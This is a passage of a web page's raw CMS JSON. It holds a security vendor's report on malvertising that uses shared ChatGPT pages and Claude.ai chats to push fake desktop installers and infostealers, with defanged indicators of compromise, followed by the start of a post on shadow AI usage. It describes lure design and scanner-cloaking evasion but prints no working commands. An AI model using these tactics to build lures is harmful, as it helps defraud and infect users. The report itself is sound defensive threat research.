",{"data":13128,"content":13129,"nodeType":866},{},[13130],{"data":13131,"marks":13132,"value":13133,"nodeType":865},{},[],"The content lives on chatgpt.com or claude.ai — domains that users and security tools trust implicitly — so the attack bypasses URL reputation checks before the victim even reaches the malicious payload.",{"data":13135,"content":13136,"nodeType":866},{},[13137,13141,13149,13153,13161],{"data":13138,"marks":13139,"value":13140,"nodeType":865},{},[],"Several variants of this technique have been ",{"data":13142,"content":13144,"nodeType":882},{"uri":13143},"https://www.bleepingcomputer.com/news/security/hackers-abuse-google-ads-claudeai-chats-to-push-mac-malware/",[13145],{"data":13146,"marks":13147,"value":13148,"nodeType":865},{},[],"reported over the past few months",{"data":13150,"marks":13151,"value":13152,"nodeType":865},{},[],". The earliest examples used shared Claude.ai conversations disguised as installation guides — complete with fake \"Apple Support\" attribution — that walked users through opening a terminal and pasting a curl command that downloaded and executed an infostealer. ",{"data":13154,"content":13156,"nodeType":882},{"uri":13155},"https://www.kaspersky.com/blog/share-chatgpt-chat-clickfix-macos-amos-infostealer/54928/",[13157],{"data":13158,"marks":13159,"value":13160,"nodeType":865},{},[],"Kaspersky documented a parallel campaign",{"data":13162,"marks":13163,"value":13164,"nodeType":865},{},[]," using shared ChatGPT conversations to deliver the AMOS (Atomic macOS Stealer) via the same paste-this-command social engineering pattern. ",{"data":13166,"content":13167,"nodeType":866},{},[13168],{"data":13169,"marks":13170,"value":13171,"nodeType":865},{},[],"Push has detected a new variant that goes beyond the previously reported technique of embedding terminal commands in shared conversations: the attacker has used ChatGPT's code rendering feature to build a fully designed fake page that mimics a ChatGPT service disruption, redirecting victims to a convincing clone of ChatGPT's download page that delivers a malicious executable. ",{"data":13173,"content":13177,"nodeType":925},{"target":13174},{"sys":13175},{"id":13176,"type":922,"linkType":923},"5lz9zt223pecGvdaqdvSTQ",[],{"data":13179,"content":13183,"nodeType":925},{"target":13180},{"sys":13181},{"id":13182,"type":922,"linkType":923},"51GomAj3VOjnbmgd1DWYu0",[],{"data":13185,"content":13186,"nodeType":866},{},[13187,13192],{"data":13188,"marks":13189,"value":13191,"nodeType":865},{},[13190],{"type":961},"This is a live campaign which is still generating detections across our customer base at the time of writing. ",{"data":13193,"marks":13194,"value":13195,"nodeType":865},{},[],"Push customers are already protected and do not need to take further action. The malicious page URLs can be found at the end of this report but are not exhaustive and are liable to change. ",{"data":13197,"content":13198,"nodeType":953},{},[],{"data":13200,"content":13201,"nodeType":963},{},[13202],{"data":13203,"marks":13204,"value":13206,"nodeType":865},{},[13205],{"type":961},"A fake page, not a fake conversation",{"data":13208,"content":13209,"nodeType":866},{},[13210,13214,13219],{"data":13211,"marks":13212,"value":13213,"nodeType":865},{},[],"Previously reported variants relied on shared ",{"data":13215,"marks":13216,"value":13218,"nodeType":865},{},[13217],{"type":944},"conversations",{"data":13220,"marks":13221,"value":13222,"nodeType":865},{},[]," — the attacker created a chat that contained step-by-step instructions for the victim to follow, typically involving pasting a command into their terminal. The social engineering was conversational: the \"AI assistant\" appeared to be helpfully guiding the user through an installation process.",{"data":13224,"content":13225,"nodeType":866},{},[13226],{"data":13227,"marks":13228,"value":13229,"nodeType":865},{},[],"But now, rather than a shared conversation, the attacker has used ChatGPT's code rendering feature to create a fully designed, self-contained web page hosted at a chatgpt.com/s/ URL. It renders as what appears to be a ChatGPT service disruption notice:",{"data":13231,"content":13235,"nodeType":925},{"target":13232},{"sys":13233},{"id":13234,"type":922,"linkType":923},"1O9gyQab81SnbxhQp2aa5Z",[],{"data":13237,"content":13238,"nodeType":866},{},[13239],{"data":13240,"marks":13241,"value":13242,"nodeType":865},{},[],"A professional-looking error message reads: \"We're experiencing high traffic right now. Our website is temporarily unavailable due to a large number of users. Download our desktop app to continue.\" A prominent download button sits below.",{"data":13244,"content":13245,"nodeType":866},{},[13246],{"data":13247,"marks":13248,"value":13249,"nodeType":865},{},[],"The \"Show code\" toggle at the top of the page reveals what's actually happening — the entire thing is custom HTML and CSS, authored to mimic a ChatGPT system notice, rendered using ChatGPT's code output feature. A web page inside a web page, hosted on a domain that every URL reputation system in the world considers safe.",{"data":13251,"content":13255,"nodeType":925},{"target":13252},{"sys":13253},{"id":13254,"type":922,"linkType":923},"4kQTfxB3aVH9W9BeYOuljP",[],{"data":13257,"content":13258,"nodeType":953},{},[],{"data":13260,"content":13261,"nodeType":963},{},[13262],{"data":13263,"marks":13264,"value":13266,"nodeType":865},{},[13265],{"type":961},"The download page",{"data":13268,"content":13269,"nodeType":866},{},[13270],{"data":13271,"marks":13272,"value":13273,"nodeType":865},{},[],"Clicking the download button redirects the user to openew[.]app, which presents a convincing clone of ChatGPT's official desktop application download page — complete with OpenAI branding, macOS and Windows download buttons, a Chrome extension link, and a mobile download section.",{"data":13275,"content":13279,"nodeType":925},{"target":13276},{"sys":13277},{"id":13278,"type":922,"linkType":923},"4MdFc4OB37ZihTGx506QJ6",[],{"data":13281,"content":13285,"nodeType":925},{"target":13282},{"sys":13283},{"id":13284,"type":922,"linkType":923},"LaPUy0zpIeY8s4PF2wkat",[],{"data":13287,"content":13288,"nodeType":866},{},[13289],{"data":13290,"marks":13291,"value":13292,"nodeType":865},{},[],"The site also displays differently depending on who visits it. When Push researchers examined the URL via URLScan, the scanner was redirected to a different page entirely — a generic AR/VR company website with no obvious connection to ChatGPT. ",{"data":13294,"content":13295,"nodeType":866},{},[13296],{"data":13297,"marks":13298,"value":13299,"nodeType":865},{},[],"Real users in a browser see the fake download page; automated scanners and bots see something benign. This kind of conditional rendering is a well-established evasion technique in the malvertising ecosystem, and it makes the malicious infrastructure harder for security teams and threat intelligence services to identify and analyze.",{"data":13301,"content":13302,"nodeType":866},{},[13303,13307,13315],{"data":13304,"marks":13305,"value":13306,"nodeType":865},{},[],"The downloaded executable poses as \"ChatGPT for Desktop\" and is ",{"data":13308,"content":13310,"nodeType":882},{"uri":13309},"https://www.virustotal.com/gui/file/de8c50e8ccd240ef9d10ec26c26eeb37a4d1cad7c1e0edf3bb6e5689ec2dde78",[13311],{"data":13312,"marks":13313,"value":13314,"nodeType":865},{},[],"flagged on VirusTotal",{"data":13316,"marks":13317,"value":1048,"nodeType":865},{},[],{"data":13319,"content":13323,"nodeType":925},{"target":13320},{"sys":13321},{"id":13322,"type":922,"linkType":923},"3FSbwoFJYQrcyo9uMsQIWI",[],{"data":13325,"content":13326,"nodeType":953},{},[],{"data":13328,"content":13329,"nodeType":963},{},[13330],{"data":13331,"marks":13332,"value":13334,"nodeType":865},{},[13333],{"type":961},"The Claude variant: same campaign, different platform",{"data":13336,"content":13337,"nodeType":866},{},[13338,13342,13349],{"data":13339,"marks":13340,"value":13341,"nodeType":865},{},[],"Alongside the ChatGPT rendered-page variant, Push has also detected the previously reported style of attack using shared Claude.ai conversations. These follow the pattern documented by ",{"data":13343,"content":13344,"nodeType":882},{"uri":13143},[13345],{"data":13346,"marks":13347,"value":13348,"nodeType":865},{},[],"BleepingComputer",{"data":13350,"marks":13351,"value":13352,"nodeType":865},{},[],": a shared chat disguised as a \"Claude Code on Mac\" installation guide, attributed to \"Apple Support,\" containing a curl command that downloads and executes malware.",{"data":13354,"content":13358,"nodeType":925},{"target":13355},{"sys":13356},{"id":13357,"type":922,"linkType":923},"5sWayuTsVdiLSLoS4sv2Vc",[],{"data":13360,"content":13361,"nodeType":866},{},[13362],{"data":13363,"marks":13364,"value":13365,"nodeType":865},{},[],"The fact that both the ChatGPT and Claude variants are appearing in Push customer environments suggests a campaign — or at least a shared playbook — that is actively experimenting with different platforms and different social engineering approaches to find what converts best.",{"data":13367,"content":13368,"nodeType":953},{},[],{"data":13370,"content":13371,"nodeType":963},{},[13372],{"data":13373,"marks":13374,"value":13376,"nodeType":865},{},[13375],{"type":961},"Malvertising remains one of the top phishing delivery channels",{"data":13378,"content":13379,"nodeType":866},{},[13380],{"data":13381,"marks":13382,"value":13383,"nodeType":865},{},[],"Push has detected this variant across multiple customer environments, with users arriving at these shared chat URLs after searching for terms including \"chatgpt,\" \"chatgpt free,\" \"chat gpt,\" and common typos like \"chatgo,\" \"chatgot,\" and \"cvhatgpt.\" ",{"data":13385,"content":13386,"nodeType":866},{},[13387],{"data":13388,"marks":13389,"value":13390,"nodeType":865},{},[],"You can see an example of this below: it's incredibly convincing, and uses the real ChatGPT domain — so even users that are paying attention are liable to fall for it. ",{"data":13392,"content":13395,"nodeType":925},{"target":13393},{"sys":13394},{"id":5141,"type":922,"linkType":923},[],{"data":13397,"content":13401,"nodeType":925},{"target":13398},{"sys":13399},{"id":13400,"type":922,"linkType":923},"4HpFJRAZH2lbygaEk2xOnN",[],{"data":13403,"content":13404,"nodeType":866},{},[13405,13409,13417,13421,13428,13431,13440],{"data":13406,"marks":13407,"value":13408,"nodeType":865},{},[],"This fits a pattern Push has tracked extensively. ",{"data":13410,"content":13412,"nodeType":882},{"uri":13411},"https://pushsecurity.com/blog/verizon-dbir-2026-review/",[13413],{"data":13414,"marks":13415,"value":13416,"nodeType":865},{},[],"Search-based delivery is now the dominant channel for malware distribution",{"data":13418,"marks":13419,"value":13420,"nodeType":865},{},[]," — our own data shows that ClickFix attacks are reached via search results rather than email in 4 of 5 cases, and Push's own research into ",{"data":13422,"content":13423,"nodeType":882},{"uri":5307},[13424],{"data":13425,"marks":13426,"value":13427,"nodeType":865},{},[],"malvertising campaigns impersonating brands like TradingView",{"data":13429,"marks":13430,"value":8756,"nodeType":865},{},[],{"data":13432,"content":13434,"nodeType":882},{"uri":13433},"https://pushsecurity.com/blog/google-search-malvertising-campaign-continues-now-impersonating-ahrefs/",[13435],{"data":13436,"marks":13437,"value":13439,"nodeType":865},{},[13438],{"type":997},"Ahrefs",{"data":13441,"marks":13442,"value":13443,"nodeType":865},{},[]," has demonstrated how effectively search ads can funnel victims to malicious pages. ",{"data":13445,"content":13446,"nodeType":866},{},[13447],{"data":13448,"marks":13449,"value":13450,"nodeType":865},{},[],"The shared-chat technique adds a new dimension: the destination URL itself is genuine (chatgpt.com, claude.ai), which means even a cautious user who checks the URL before clicking will see nothing suspicious.",{"data":13452,"content":13453,"nodeType":953},{},[],{"data":13455,"content":13456,"nodeType":963},{},[13457],{"data":13458,"marks":13459,"value":13461,"nodeType":865},{},[13460],{"type":961},"Legitimate platform abuse is everywhere",{"data":13463,"content":13464,"nodeType":866},{},[13465],{"data":13466,"marks":13467,"value":13468,"nodeType":865},{},[],"This is one example of a much broader pattern that has become one of the defining characteristics of the 2026 threat landscape: attackers systematically abusing legitimate platforms as attack infrastructure. The scale and variety of this abuse in recent months alone is striking, and it spans every stage of the phishing chain.",{"data":13470,"content":13471,"nodeType":1458},{},[13472],{"data":13473,"marks":13474,"value":13475,"nodeType":865},{},[],"Legit platform abuse for delivery",{"data":13477,"content":13478,"nodeType":866},{},[13479,13483,13491,13495,13503,13507,13515],{"data":13480,"marks":13481,"value":13482,"nodeType":865},{},[],"On the delivery side, attackers have been ",{"data":13484,"content":13486,"nodeType":882},{"uri":13485},"https://www.bleepingcomputer.com/news/security/amazon-ses-increasingly-abused-in-phishing-to-evade-detection/",[13487],{"data":13488,"marks":13489,"value":13490,"nodeType":865},{},[],"weaponizing stolen AWS credentials to send phishing through Amazon SES",{"data":13492,"marks":13493,"value":13494,"nodeType":865},{},[]," that passes SPF, DKIM, and DMARC validation because SES is a legitimate Amazon service. A Vietnamese operation dubbed ",{"data":13496,"content":13498,"nodeType":882},{"uri":13497},"https://thehackernews.com/2026/05/30000-facebook-accounts-hacked-via.html",[13499],{"data":13500,"marks":13501,"value":13502,"nodeType":865},{},[],"AccountDumpling used Google AppSheet's built-in email capability",{"data":13504,"marks":13505,"value":13506,"nodeType":865},{},[]," as a phishing relay to harvest 30,000 Facebook credentials. ",{"data":13508,"content":13510,"nodeType":882},{"uri":13509},"https://techcrunch.com/2026/05/21/scammers-are-abusing-an-internal-microsoft-account-to-send-spam/",[13511],{"data":13512,"marks":13513,"value":13514,"nodeType":865},{},[],"Scammers exploited Microsoft's own internal notification pipeline",{"data":13516,"marks":13517,"value":13518,"nodeType":865},{},[]," — sending phishing from the same msonlineservicesteam@microsoftonline.com address that delivers legitimate 2FA codes — with Spamhaus confirming months of ongoing abuse.",{"data":13520,"content":13521,"nodeType":1458},{},[13522],{"data":13523,"marks":13524,"value":13525,"nodeType":865},{},[],"Legit platform abuse for hosting",{"data":13527,"content":13528,"nodeType":866},{},[13529,13533,13541,13545,13553],{"data":13530,"marks":13531,"value":13532,"nodeType":865},{},[],"For hosting, the platforms being abused read like a who's who of modern web infrastructure. ",{"data":13534,"content":13536,"nodeType":882},{"uri":13535},"https://www.securityweek.com/over-500-organizations-hit-in-years-long-phishing-campaign/",[13537],{"data":13538,"marks":13539,"value":13540,"nodeType":865},{},[],"Operation HookedWing ran for four years",{"data":13542,"marks":13543,"value":13544,"nodeType":865},{},[]," on GitHub Pages and Vercel, compromising 500+ organizations across more than 100 GitHub Pages domains before anyone documented it publicly. Cofense has separately ",{"data":13546,"content":13548,"nodeType":882},{"uri":13547},"https://cofense.com/blog/steal-smarter-not-harder-malicious-use-of-vercel-for-credential-phishing/",[13549],{"data":13550,"marks":13551,"value":13552,"nodeType":865},{},[],"documented the growing abuse of Vercel",{"data":13554,"marks":13555,"value":13556,"nodeType":865},{},[]," for credential phishing hosting. Pixm's Q1 2026 phishing report tracked over 100 unique Azure Blob Storage subdomain variants hosting phishing content that carried Microsoft's own domain reputation, alongside abuse of Cloudflare CDN, Cloudflare Workers, Cloudflare R2, Backblaze B2, and Supabase. ",{"data":13558,"content":13559,"nodeType":1458},{},[13560],{"data":13561,"marks":13562,"value":13563,"nodeType":865},{},[],"Abuse of compromised websites that are otherwise legit",{"data":13565,"content":13566,"nodeType":866},{},[13567,13571,13579,13583,13591,13595,13603],{"data":13568,"marks":13569,"value":13570,"nodeType":865},{},[],"Compromised legitimate sites are also being repurposed at scale. A mass exploitation of a ",{"data":13572,"content":13574,"nodeType":882},{"uri":13573},"https://www.bleepingcomputer.com/news/security/ghost-cms-sql-injection-flaw-exploited-in-large-scale-clickfix-campaign/",[13575],{"data":13576,"marks":13577,"value":13578,"nodeType":865},{},[],"Ghost CMS vulnerability planted ClickFix pages across 700+ websites",{"data":13580,"marks":13581,"value":13582,"nodeType":865},{},[]," including Harvard, Oxford, and DuckDuckGo subdomains. Microsoft recently documented a campaign where ",{"data":13584,"content":13586,"nodeType":882},{"uri":13585},"https://www.microsoft.com/en-us/security/blog/2026/05/26/poisoned-search-results-gpu-mining-cryptojacking-campaign-abusing-screenconnect-microsoft-net-utilities/",[13587],{"data":13588,"marks":13589,"value":13590,"nodeType":865},{},[],"SEO poisoning was combined with AI chatbot recommendation manipulation",{"data":13592,"marks":13593,"value":13594,"nodeType":865},{},[]," to deliver GPU mining malware — extending the poisoning from traditional search results into AI-generated software recommendations. And ",{"data":13596,"content":13598,"nodeType":882},{"uri":13597},"https://www.helpnetsecurity.com/2026/05/27/deno-rat-malware-fake-chatgpt-claude-installers/",[13599],{"data":13600,"marks":13601,"value":13602,"nodeType":865},{},[],"fake ChatGPT and Claude installers on GitHub and SourceForge",{"data":13604,"marks":13605,"value":13606,"nodeType":865},{},[]," have been delivering the DinDoor backdoor and a Deno-based RAT via repositories that mimic legitimate developer tool distributions.",{"data":13608,"content":13609,"nodeType":866},{},[13610],{"data":13611,"marks":13612,"value":13613,"nodeType":865},{},[],"The structural problem is that every one of these platforms is genuinely legitimate, and the security controls that evaluate them — domain reputation, email authentication, URL categorization — confirm them as trusted because they are trusted. This attack extends this pattern into new territory by weaponizing the content-sharing features of AI chatbot platforms specifically, but the underlying principles are the same. ",{"data":13615,"content":13616,"nodeType":953},{},[],{"data":13618,"content":13619,"nodeType":963},{},[13620],{"data":13621,"marks":13622,"value":13624,"nodeType":865},{},[13623],{"type":961},"Impact analysis",{"data":13626,"content":13627,"nodeType":866},{},[13628,13632,13640],{"data":13629,"marks":13630,"value":13631,"nodeType":865},{},[],"Shared-chat malware delivery exploits a structural property of AI platforms that traditional security controls aren't designed to handle. Domain reputation, URL categorization, and safe browsing databases all treat chatgpt.com and claude.ai as trusted — because they are. Using these trusted pages to link off to further convincing-looking pages hosting malware allows the attacker to run campaigns that blend in, as well as rotate the phishing delivery pages later in the chain should they ever be flagged, allowing the campaign to continue without interruption (a well known ",{"data":13633,"content":13635,"nodeType":882},{"uri":13634},"https://phishing-techniques.pushsecurity.com/",[13636],{"data":13637,"marks":13638,"value":13639,"nodeType":865},{},[],"detection evasion technique",{"data":13641,"marks":13642,"value":13643,"nodeType":865},{},[],"). ",{"data":13645,"content":13646,"nodeType":866},{},[13647],{"data":13648,"marks":13649,"value":13650,"nodeType":865},{},[],"What makes the rendered-page variant particularly concerning is that it eliminates the most obvious red flag in the earlier attacks. The Claude.ai conversation variants required the victim to recognize that a shared chat instructing them to paste terminal commands might be suspicious — a tall order for many users, but at least the attack surface was visible. The rendered-page variant shows nothing that looks like an attack. It presents what appears to be a routine service disruption with a reasonable call to action: download the desktop app to continue using ChatGPT. ",{"data":13652,"content":13653,"nodeType":1458},{},[13654],{"data":13655,"marks":13656,"value":13658,"nodeType":865},{},[13657],{"type":961},"How Push detected the attack",{"data":13660,"content":13661,"nodeType":866},{},[13662,13666,13670],{"data":13663,"marks":13664,"value":13665,"nodeType":865},{},[],"We've aligned our detection logic for this technique under the name ",{"data":13667,"marks":13668,"value":3140,"nodeType":865},{},[13669],{"type":961},{"data":13671,"marks":13672,"value":13673,"nodeType":865},{},[]," — a technique-level detection that covers shared content abuse across LLM platforms, not tied to any single campaign or set of IOCs. ",{"data":13675,"content":13676,"nodeType":866},{},[13677],{"data":13678,"marks":13679,"value":13680,"nodeType":865},{},[],"Because Push sees the full context of how a user arrived at a page and what that page does once it renders, we can identify LLMShare attacks regardless of which AI platform is being abused or what social engineering wrapper the attacker has chosen. ",{"data":13682,"content":13683,"nodeType":866},{},[13684,13688,13694],{"data":13685,"marks":13686,"value":13687,"nodeType":865},{},[],"When we identified the initial instances of this campaign, we used our ",{"data":13689,"content":13690,"nodeType":882},{"uri":3643},[13691],{"data":13692,"marks":13693,"value":9005,"nodeType":865},{},[],{"data":13695,"marks":13696,"value":13697,"nodeType":865},{},[]," to hunt for additional examples across our customer telemetry, develop the LLMShare detection, and rapidly deploy it to customers. Push blocks users from interacting with the page before any malicious activity can occur. ",{"data":13699,"content":13700,"nodeType":866},{},[13701],{"data":13702,"marks":13703,"value":13704,"nodeType":865},{},[],"Push customers do not need to take any further action.",{"data":13706,"content":13707,"nodeType":953},{},[],{"data":13709,"content":13710,"nodeType":866},{},[13711],{"data":13712,"marks":13713,"value":2792,"nodeType":865},{},[],{"data":13715,"content":13716,"nodeType":866},{},[13717],{"data":13718,"marks":13719,"value":1718,"nodeType":865},{},[],{"data":13721,"content":13722,"nodeType":866},{},[13723,13726,13734],{"data":13724,"marks":13725,"value":21,"nodeType":865},{},[],{"data":13727,"content":13729,"nodeType":882},{"uri":13728},"https://pushsecurity.com/demo/",[13730],{"data":13731,"marks":13732,"value":2812,"nodeType":865},{},[13733],{"type":997},{"data":13735,"marks":13736,"value":21,"nodeType":865},{},[],{"data":13738,"content":13739,"nodeType":953},{},[],{"data":13741,"content":13742,"nodeType":963},{},[13743],{"data":13744,"marks":13745,"value":13747,"nodeType":865},{},[13746],{"type":961},"Indicators of compromise",{"data":13749,"content":13750,"nodeType":866},{},[13751,13755,13763],{"data":13752,"marks":13753,"value":13754,"nodeType":865},{},[],"As we always say, short-lived IoCs are of limited value when tackling modern phishing attacks due to the rate at which attackers are able to ",{"data":13756,"content":13758,"nodeType":882},{"uri":13757},"https://phishing-techniques.pushsecurity.com/techniques/domain-rotation-redirection/",[13759],{"data":13760,"marks":13761,"value":13762,"nodeType":865},{},[],"quickly spin up and rotate the sites used",{"data":13764,"marks":13765,"value":13766,"nodeType":865},{},[]," in the attack chain. IoC-based detections for campaigns like this are of limited value.",{"data":13768,"content":13769,"nodeType":866},{},[13770],{"data":13771,"marks":13772,"value":13773,"nodeType":865},{},[],"At the time of writing, the indicators observed were:",{"data":13775,"content":13776,"nodeType":2396},{},[13777,13803,13826,13848,13871],{"data":13778,"content":13779,"nodeType":1869},{},[13780,13792],{"data":13781,"content":13782,"nodeType":13791},{},[13783],{"data":13784,"content":13785,"nodeType":866},{},[13786],{"data":13787,"marks":13788,"value":13790,"nodeType":865},{},[13789],{"type":961},"Indicator","table-header-cell",{"data":13793,"content":13794,"nodeType":13791},{},[13795],{"data":13796,"content":13797,"nodeType":866},{},[13798],{"data":13799,"marks":13800,"value":13802,"nodeType":865},{},[13801],{"type":961},"Type",{"data":13804,"content":13805,"nodeType":1869},{},[13806,13816],{"data":13807,"content":13808,"nodeType":1835},{},[13809],{"data":13810,"content":13811,"nodeType":866},{},[13812],{"data":13813,"marks":13814,"value":13815,"nodeType":865},{},[],"hxxps://claude[.]ai/share/8e6401b5-4849-46c4-a3cb-29e1c3c49131",{"data":13817,"content":13818,"nodeType":1835},{},[13819],{"data":13820,"content":13821,"nodeType":866},{},[13822],{"data":13823,"marks":13824,"value":13825,"nodeType":865},{},[],"URL",{"data":13827,"content":13828,"nodeType":1869},{},[13829,13839],{"data":13830,"content":13831,"nodeType":1835},{},[13832],{"data":13833,"content":13834,"nodeType":866},{},[13835],{"data":13836,"marks":13837,"value":13838,"nodeType":865},{},[],"hxxps://chatgpt[.]com/s/cb_6a0f1e6bbec88191aa7fede27163f08d",{"data":13840,"content":13841,"nodeType":1835},{},[13842],{"data":13843,"content":13844,"nodeType":866},{},[13845],{"data":13846,"marks":13847,"value":13825,"nodeType":865},{},[],{"data":13849,"content":13850,"nodeType":1869},{},[13851,13861],{"data":13852,"content":13853,"nodeType":1835},{},[13854],{"data":13855,"content":13856,"nodeType":866},{},[13857],{"data":13858,"marks":13859,"value":13860,"nodeType":865},{},[],"openew[.]app",{"data":13862,"content":13863,"nodeType":1835},{},[13864],{"data":13865,"content":13866,"nodeType":866},{},[13867],{"data":13868,"marks":13869,"value":13870,"nodeType":865},{},[],"Domain",{"data":13872,"content":13873,"nodeType":1869},{},[13874,13884],{"data":13875,"content":13876,"nodeType":1835},{},[13877],{"data":13878,"content":13879,"nodeType":866},{},[13880],{"data":13881,"marks":13882,"value":13883,"nodeType":865},{},[],"de8c50e8ccd240ef9d10ec26c26eeb37a4d1cad7c1e0edf3bb6e5689ec2dde78",{"data":13885,"content":13886,"nodeType":1835},{},[13887],{"data":13888,"content":13889,"nodeType":866},{},[13890],{"data":13891,"marks":13892,"value":13893,"nodeType":865},{},[],"SHA256",{"data":13895,"content":13896,"nodeType":866},{},[13897],{"data":13898,"marks":13899,"value":21,"nodeType":865},{},[],"LLMShare: how attackers are turning AI chatbot pages into malware delivery platforms","How attackers are using shared content features on AI chatbot platforms to deliver malware via pages hosted on legitimate domains, sent via malvertising.","2026-05-29T00:00:00.000Z","llmshare-malvertising-campaign",{"items":13905},[13906,13908],{"sys":13907,"name":11426},{"id":11425},{"sys":13909,"name":342},{"id":8410},{"items":13911},[13912],{"fullName":13913,"firstName":13914,"jobTitle":13915,"profilePicture":13916},"Keanu Maharaj","Keanu","Senior Security Researcher",{"url":13917},"https://images.ctfassets.net/y1cdw1ablpvd/VCGOm62jiocjwngWTh32U/e9a30637b1c76bf988d2fec90f5b6c36/1689361049351_1.png",{"__typename":1788,"sys":13919,"content":13921,"title":14577,"synopsis":14578,"hashTags":59,"publishedDate":14579,"slug":14580,"tagsCollection":14581,"authorsCollection":14587},{"id":13920},"4NY2NbkAPucFOJY45yrrrE",{"json":13922},{"data":13923,"content":13924,"nodeType":1739},{},[13925,13932,13939,13946,13952,13955,13963,13970,14003,14010,14040,14046,14049,14057,14064,14072,14114,14120,14127,14132,14135,14143,14150,14158,14165,14172,14188,14196,14221,14228,14234,14241,14249,14264,14291,14297,14315,14321,14329,14336,14361,14368,14375,14382,14388,14391,14399,14406,14413,14431,14439,14446,14454,14477,14489,14495,14498,14506,14513,14520,14527,14546,14549,14555,14561],{"data":13926,"content":13927,"nodeType":866},{},[13928],{"data":13929,"marks":13930,"value":13931,"nodeType":865},{},[],"Employees have been self-adopting apps, creating unmanaged accounts, and introducing third-party software dependencies into their organizations for years, and the core problem hasn't changed: unmanaged software expanding your attack surface without your knowledge.",{"data":13933,"content":13934,"nodeType":866},{},[13935],{"data":13936,"marks":13937,"value":13938,"nodeType":865},{},[],"But the rate at which employees are signing up for AI tools is unprecedented, and the depth of interconnectivity those tools demand is fundamentally different from traditional shadow SaaS. ",{"data":13940,"content":13941,"nodeType":866},{},[13942],{"data":13943,"marks":13944,"value":13945,"nodeType":865},{},[],"AI tools aren't just standalone apps that employees sign into — they're increasingly used as agents that drive other applications, pulling data from one platform, acting on another — they are becoming a core that other apps are integrating to, and that users are integrating with their wider SaaS stack. It’s becoming a focal integration point for app access and functionality in a way that's more comparable to an enterprise cloud platform than a typical SaaS tool. ",{"data":13947,"content":13951,"nodeType":925},{"target":13948},{"sys":13949},{"id":13950,"type":922,"linkType":923},"2Vxb48M5JN9Jdy8BG6nbUJ",[],{"data":13953,"content":13954,"nodeType":953},{},[],{"data":13956,"content":13957,"nodeType":963},{},[13958],{"data":13959,"marks":13960,"value":13962,"nodeType":865},{},[13961],{"type":961},"What is shadow AI? A quick 101",{"data":13964,"content":13965,"nodeType":866},{},[13966],{"data":13967,"marks":13968,"value":13969,"nodeType":865},{},[],"Shadow AI is any use of AI tools, services, or integrations that happens outside an organization's security governance and visibility. Shadow AI risks cut in two directions:",{"data":13971,"content":13972,"nodeType":1049},{},[13973,13988],{"data":13974,"content":13975,"nodeType":1003},{},[13976],{"data":13977,"content":13978,"nodeType":866},{},[13979,13984],{"data":13980,"marks":13981,"value":13983,"nodeType":865},{},[13982],{"type":961},"Data exposure:",{"data":13985,"marks":13986,"value":13987,"nodeType":865},{},[]," source code, credentials, internal documents, and customer data routinely get pasted into AI prompts or uploaded as context, and once shared, that data is outside the organization's control. ",{"data":13989,"content":13990,"nodeType":1003},{},[13991],{"data":13992,"content":13993,"nodeType":866},{},[13994,13999],{"data":13995,"marks":13996,"value":13998,"nodeType":865},{},[13997],{"type":961},"Attack surface:",{"data":14000,"marks":14001,"value":14002,"nodeType":865},{},[]," Every shadow AI app is an unmanaged identity with credentials that can be phished or stuffed, OAuth grants that give persistent API access to corporate systems, and browser extensions that can be compromised in supply chain attacks. ",{"data":14004,"content":14005,"nodeType":866},{},[14006],{"data":14007,"marks":14008,"value":14009,"nodeType":865},{},[],"AI tools increasingly function as hubs, connected via OAuth and MCP to email, cloud storage, code repositories, and other high-value systems. Every app connection an employee grants turns that AI tool into a node in a web of interconnected services, which means the more you hook in, the larger the attack surface across all the connected apps — and the greater the blast radius if the account used to access the AI tool is compromised.",{"data":14011,"content":14012,"nodeType":866},{},[14013,14017,14025,14029,14037],{"data":14014,"marks":14015,"value":14016,"nodeType":865},{},[],"Each integration creates a persistent trust relationship that survives password resets and MFA changes. Compromise a single AI app and an attacker inherits whatever access the employee granted it, turning one ungoverned tool into a pivot point across the SaaS estate. Attackers are already exploiting this interconnectivity — from ",{"data":14018,"content":14020,"nodeType":882},{"uri":14019},"https://pushsecurity.com/blog/llmshare-malvertising-campaign",[14021],{"data":14022,"marks":14023,"value":14024,"nodeType":865},{},[],"malvertising campaigns that impersonate AI tools",{"data":14026,"marks":14027,"value":14028,"nodeType":865},{},[]," to steal credentials, to ",{"data":14030,"content":14032,"nodeType":882},{"uri":14031},"https://pushsecurity.com/blog/analyzing-the-instructure-breach",[14033],{"data":14034,"marks":14035,"value":14036,"nodeType":865},{},[],"leveraging OAuth consent grants in supply chain attacks",{"data":14038,"marks":14039,"value":10349,"nodeType":865},{},[],{"data":14041,"content":14045,"nodeType":925},{"target":14042},{"sys":14043},{"id":14044,"type":922,"linkType":923},"1BWCa7AHCMlYw7XgPLx3h7",[],{"data":14047,"content":14048,"nodeType":953},{},[],{"data":14050,"content":14051,"nodeType":963},{},[14052],{"data":14053,"marks":14054,"value":14056,"nodeType":865},{},[14055],{"type":961},"The state of shadow AI, using Push data",{"data":14058,"content":14059,"nodeType":866},{},[14060],{"data":14061,"marks":14062,"value":14063,"nodeType":865},{},[],"We analyzed a snapshot of AI activity across Push customers during an average week in April 2026. We wanted to make sure it captured actual activity, not just historical data on apps that were added once and no longer used.",{"data":14065,"content":14066,"nodeType":866},{},[14067],{"data":14068,"marks":14069,"value":14071,"nodeType":865},{},[14070],{"type":961},"The numbers paint a picture that most security teams will find uncomfortable.",{"data":14073,"content":14074,"nodeType":866},{},[14075,14079,14084,14088,14093,14096,14101,14105,14110],{"data":14076,"marks":14077,"value":14078,"nodeType":865},{},[],"The average organization has ",{"data":14080,"marks":14081,"value":14083,"nodeType":865},{},[14082],{"type":961},"16 unique AI apps",{"data":14085,"marks":14086,"value":14087,"nodeType":865},{},[]," in active use, ",{"data":14089,"marks":14090,"value":14092,"nodeType":865},{},[14091],{"type":961},"17 unique AI browser extensions",{"data":14094,"marks":14095,"value":3892,"nodeType":865},{},[],{"data":14097,"marks":14098,"value":14100,"nodeType":865},{},[14099],{"type":961},"17 unique AI OAuth integrations",{"data":14102,"marks":14103,"value":14104,"nodeType":865},{},[]," connected into just Google Workspace and Microsoft 365 — with some organizations reaching as high as 40 unique AI apps, 163 AI extensions, and 55 OAuth connections to AI apps respectively. At the other end, the smallest organization with the ",{"data":14106,"marks":14107,"value":14109,"nodeType":865},{},[14108],{"type":944},"lowest",{"data":14111,"marks":14112,"value":14113,"nodeType":865},{},[]," adoption level is actively using two. 